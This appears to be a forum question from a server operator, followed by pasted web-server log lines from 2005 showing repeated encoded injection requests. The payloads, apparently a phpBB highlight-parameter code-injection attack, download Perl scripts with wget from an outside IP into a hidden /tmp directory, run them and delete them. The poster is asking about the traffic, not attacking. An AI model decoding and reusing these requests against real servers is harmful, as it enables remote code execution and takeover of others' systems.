why it only access comw with 127.0.0.1?
127.0.0.1 - - [19/Apr/2005:15:06:53 +0800] "GET /?t=463&rush=%2565%2563%2568%256F%2520%255F%2553%2554%2541%2552%2554%255F%253B%2520cd%2520/tmp%3bmkdir%2520.temp%3bcd%2520.temp%3bwget%2520http://61.85.234.215/.zk/msn.txt%3bwget%2520http://61.85.234.215/.zk/coll.txt%3bwget%2520http://61.85.234.215/.zk/g.txt%3bperl%2520msn.txt%3brm%2520msn.txt%3bperl%2520coll.txt%3brm%2520coll.txt%3bperl%2520g.txt%3brm%2520g.txt%253B%2520%2565%2563%2568%256F%2520%255F%2545%254E%2544%255F&highlight=%252527.%2570%2561%2573%2573%2574%2568%2572%2575%2528%2524%2548%2554%2554%2550%255F%2547%2545%2554%255F%2556%2541%2552%2553%255B%2572%2575%2573%2568%255D%2529.%252527'%3b HTTP/1.1" 200 2673 "-" "LWP::Simple/5.79"
127.0.0.1 - - [19/Apr/2005:15:08:55 +0800] "GET / HTTP/1.1" 200 2673 "-" "LWP::Simple/5.79"
127.0.0.1 - - [19/Apr/2005:15:14:13 +0800] "GET /?extensive=pages&rush=%2565%2563%2568%256F%2520%255F%2553%2554%2541%2552%2554%255F%253B%2520cd%2520/tmp%3bmkdir%2520.temp%3bcd%2520.temp%3bwget%2520http://61.85.234.215/.zk/msn.txt%3bwget%2520http://61.85.234.215/.zk/coll.txt%3bwget%2520http://61.85.234.215/.zk/g.txt%3bperl%2520msn.txt%3brm%2520msn.txt%3bperl%2520coll.txt%3brm%2520coll.txt%3bperl%2520g.txt%3brm%2520g.txt%253B%2520%2565%2563%2568%256F%2520%255F%2545%254E%2544%255F&highlight=%252527.%2570%2561%2573%2573%2574%2568%2572%2575%2528%2524%2548%2554%2554%2550%255F%2547%2545%2554%255F%2556%2541%2552%2553%255B%2572%2575%2573%2568%255D%2529.%252527'%3b HTTP/1.1" 200 2673 "-" "LWP::Simple/5.79"
127.0.0.1 - - [19/Apr/2005:15:17:19 +0800] "GET / HTTP/1.1" 200 2673 "-" "LWP::Simple/5.79"
127.0.0.1 - - [19/Apr/2005:15:22:17 +0800] "GET /?t=986&rush=%2565%2563%2568%256F%2520%255F%2553%2554%2541%2552%2554%255F%253B%2520cd%2520/tmp%3bmkdir%2520.temp%3bcd%2520.temp%3bwget%2520http://61.85.234.215/.zk/msn.txt%3bwget%2520http://61.85.234.215/.zk/coll.txt%3bwget%2520http://61.85.234.215/.zk/g.txt%3bperl%2520msn.txt%3brm%2520msn.txt%3bperl%2520coll.txt%3brm%2520coll.txt%3bperl%2520g.txt%3brm%2520g.txt%253B%2520%2565%2563%2568%256F%2520%255F%2545%254E%2544%255F&highlight=%252527.%2570%2561%2573%2573%2574%2568%2572%2575%2528%2524%2548%2554%2554%2550%255F%2547%2545%2554%255F%2556%2541%2552%2553%255B%2572%2575%2573%2568%255D%2529.%252527'%3b HTTP/1.1" 200 2673 "-" "LWP::Simple/5.79"
127.0.0.1 - - [19/Apr/2005:15:22:30 +0800] "GET /?t=11862&rush=%2565%2563%2568%256F%2520%255F%2553%2554%2541%2552%2554%255F%253B%2520cd%2520/tmp%3bmkdir%2520.temp%3bcd%2520.temp%3bwget%2520http://61.85.234.215/.zk/msn.txt%3bwget%2520http://61.85.234.215/.zk/coll.txt%3bwget%2520http://61.85.234.215/.zk/g.txt%3bperl%2520msn.txt%3brm%2520msn.txt%3bperl%2520coll.txt%3brm%2520coll.txt%3bperl%2520g.txt%3brm%2520g.txt%253B%2520%2565%2563%2568%256F%2520%255F%2545%254E%2544%255F&highlight=%252527.%2570%2561%2573%2573%2574%2568%2572%2575%2528%2524%2548%2554%2554%2550%255F%2547%2545%2554%255F%2556%2541%2552%2553%255B%2572%2575%2573%2568%255D%2529.%252527'%3b HTTP/1.1" 200 2673 "-" "LWP::Simple/5.79"
127.0.0.1 - - [19/Apr/2005:15:22:44 +0800] "GET /?t=2820&rush=%2565%2563%2568%256F%2520%255F%2553%2554%2541%2552%2554%255F%253B%2520cd%2520/tmp%3bmkdir%2520.temp%3bcd%2520.temp%3bwget%2520http://61.85.234.215/.zk/msn.txt%3bwget%2520http://61.85.234.215/.zk/coll.txt%3bwget%2520http://61.85.234.215/.zk/g.txt%3bperl%2520msn.txt%3brm%2520msn.txt%3bperl%2520coll.txt%3brm%2520coll.txt%3bperl%2520g.txt%3brm%2520g.txt%253B%2520%2565%2563%2568%256F%2520%255F%2545%254E%2544%255F&highlight=%252527.%2570%2561%2573%2573%2574%2568%2572%2575%2528%2524%2548%2554%2554%2550%255F%2547%2545%2554%255F%2556%2541%2552%2553%255B%2572%2575%2573%2568%255D%2529.%252527'%3b HTTP/1.1" 200 2673 "-" "LWP::Simple/5.79"
127.0.0.1 - - [19/Apr/2005:15:22:45 +0800] "GET /?t=765&rush=%2565%2563%2568%256F%2520%255F%2553%2554%2541%2552%2554%255F%253B%2520cd%2520/tmp%3bmkdir%2520.temp%3bcd%2520.temp%3bwget%2520http://61.85.234.215/.zk/msn.txt%3bwget%2520http://61.85.234.215/.zk/coll.txt%3bwget%2520http://61.85.234.215/.zk/g.txt%3bperl%2520msn.txt%3brm%2520msn.txt%3bperl%2520coll.txt%3brm%2520coll.txt%3bperl%2520g.txt%3brm%2520g.txt%253B%2520%2565%2563%2568%256F%2520%255F%2545%254E%2544%255F&highlight=%252527.%2570%2561%2573%2573%2574%2568%2572%2575%2528%2524%2548%2554%2554%2550%255F%2547%2545%2554%255F%2556%2541%2552%2553%255B%2572%2575%2573%2568%255D%2529.%252527'%3b HTTP/1.1" 200 2673 "-" "LWP::Simple/5.79"
127.0.0.1 - - [19/Apr/2005:15:06:53 +0800] "GET /?t=463&rush=%2565%2563%2568%256F%2520%255F%2553%2554%2541%2552%2554%255F%253B%2520cd%2520/tmp%3bmkdir%2520.temp%3bcd%2520.temp%3bwget%2520http://61.85.234.215/.zk/msn.txt%3bwget%2520http://61.85.234.215/.zk/coll.txt%3bwget%2520http://61.85.234.215/.zk/g.txt%3bperl%2520msn.txt%3brm%2520msn.txt%3bperl%2520coll.txt%3brm%2520coll.txt%3bperl%2520g.txt%3brm%2520g.txt%253B%2520%2565%2563%2568%256F%2520%255F%2545%254E%2544%255F&highlight=%252527.%2570%2561%2573%2573%2574%2568%2572%2575%2528%2524%2548%2554%2554%2550%255F%2547%2545%2554%255F%2556%2541%2552%2553%255B%2572%2575%2573%2568%255D%2529.%252527'%3b HTTP/1.1" 200 2673 "-" "LWP::Simple/5.79"
127.0.0.1 - - [19/Apr/2005:15:08:55 +0800] "GET / HTTP/1.1" 200 2673 "-" "LWP::Simple/5.79"
127.0.0.1 - - [19/Apr/2005:15:14:13 +0800] "GET /?extensive=pages&rush=%2565%2563%2568%256F%2520%255F%2553%2554%2541%2552%2554%255F%253B%2520cd%2520/tmp%3bmkdir%2520.temp%3bcd%2520.temp%3bwget%2520http://61.85.234.215/.zk/msn.txt%3bwget%2520http://61.85.234.215/.zk/coll.txt%3bwget%2520http://61.85.234.215/.zk/g.txt%3bperl%2520msn.txt%3brm%2520msn.txt%3bperl%2520coll.txt%3brm%2520coll.txt%3bperl%2520g.txt%3brm%2520g.txt%253B%2520%2565%2563%2568%256F%2520%255F%2545%254E%2544%255F&highlight=%252527.%2570%2561%2573%2573%2574%2568%2572%2575%2528%2524%2548%2554%2554%2550%255F%2547%2545%2554%255F%2556%2541%2552%2553%255B%2572%2575%2573%2568%255D%2529.%252527'%3b HTTP/1.1" 200 2673 "-" "LWP::Simple/5.79"
127.0.0.1 - - [19/Apr/2005:15:17:19 +0800] "GET / HTTP/1.1" 200 2673 "-" "LWP::Simple/5.79"
127.0.0.1 - - [19/Apr/2005:15:22:17 +0800] "GET /?t=986&rush=%2565%2563%2568%256F%2520%255F%2553%2554%2541%2552%2554%255F%253B%2520cd%2520/tmp%3bmkdir%2520.temp%3bcd%2520.temp%3bwget%2520http://61.85.234.215/.zk/msn.txt%3bwget%2520http://61.85.234.215/.zk/coll.txt%3bwget%2520http://61.85.234.215/.zk/g.txt%3bperl%2520msn.txt%3brm%2520msn.txt%3bperl%2520coll.txt%3brm%2520coll.txt%3bperl%2520g.txt%3brm%2520g.txt%253B%2520%2565%2563%2568%256F%2520%255F%2545%254E%2544%255F&highlight=%252527.%2570%2561%2573%2573%2574%2568%2572%2575%2528%2524%2548%2554%2554%2550%255F%2547%2545%2554%255F%2556%2541%2552%2553%255B%2572%2575%2573%2568%255D%2529.%252527'%3b HTTP/1.1" 200 2673 "-" "LWP::Simple/5.79"
127.0.0.1 - - [19/Apr/2005:15:22:30 +0800] "GET /?t=11862&rush=%2565%2563%2568%256F%2520%255F%2553%2554%2541%2552%2554%255F%253B%2520cd%2520/tmp%3bmkdir%2520.temp%3bcd%2520.temp%3bwget%2520http://61.85.234.215/.zk/msn.txt%3bwget%2520http://61.85.234.215/.zk/coll.txt%3bwget%2520http://61.85.234.215/.zk/g.txt%3bperl%2520msn.txt%3brm%2520msn.txt%3bperl%2520coll.txt%3brm%2520coll.txt%3bperl%2520g.txt%3brm%2520g.txt%253B%2520%2565%2563%2568%256F%2520%255F%2545%254E%2544%255F&highlight=%252527.%2570%2561%2573%2573%2574%2568%2572%2575%2528%2524%2548%2554%2554%2550%255F%2547%2545%2554%255F%2556%2541%2552%2553%255B%2572%2575%2573%2568%255D%2529.%252527'%3b HTTP/1.1" 200 2673 "-" "LWP::Simple/5.79"
127.0.0.1 - - [19/Apr/2005:15:22:44 +0800] "GET /?t=2820&rush=%2565%2563%2568%256F%2520%255F%2553%2554%2541%2552%2554%255F%253B%2520cd%2520/tmp%3bmkdir%2520.temp%3bcd%2520.temp%3bwget%2520http://61.85.234.215/.zk/msn.txt%3bwget%2520http://61.85.234.215/.zk/coll.txt%3bwget%2520http://61.85.234.215/.zk/g.txt%3bperl%2520msn.txt%3brm%2520msn.txt%3bperl%2520coll.txt%3brm%2520coll.txt%3bperl%2520g.txt%3brm%2520g.txt%253B%2520%2565%2563%2568%256F%2520%255F%2545%254E%2544%255F&highlight=%252527.%2570%2561%2573%2573%2574%2568%2572%2575%2528%2524%2548%2554%2554%2550%255F%2547%2545%2554%255F%2556%2541%2552%2553%255B%2572%2575%2573%2568%255D%2529.%252527'%3b HTTP/1.1" 200 2673 "-" "LWP::Simple/5.79"
127.0.0.1 - - [19/Apr/2005:15:22:45 +0800] "GET /?t=765&rush=%2565%2563%2568%256F%2520%255F%2553%2554%2541%2552%2554%255F%253B%2520cd%2520/tmp%3bmkdir%2520.temp%3bcd%2520.temp%3bwget%2520http://61.85.234.215/.zk/msn.txt%3bwget%2520http://61.85.234.215/.zk/coll.txt%3bwget%2520http://61.85.234.215/.zk/g.txt%3bperl%2520msn.txt%3brm%2520msn.txt%3bperl%2520coll.txt%3brm%2520coll.txt%3bperl%2520g.txt%3brm%2520g.txt%253B%2520%2565%2563%2568%256F%2520%255F%2545%254E%2544%255F&highlight=%252527.%2570%2561%2573%2573%2574%2568%2572%2575%2528%2524%2548%2554%2554%2550%255F%2547%2545%2554%255F%2556%2541%2552%2553%255B%2572%2575%2573%2568%255D%2529.%252527'%3b HTTP/1.1" 200 2673 "-" "LWP::Simple/5.79"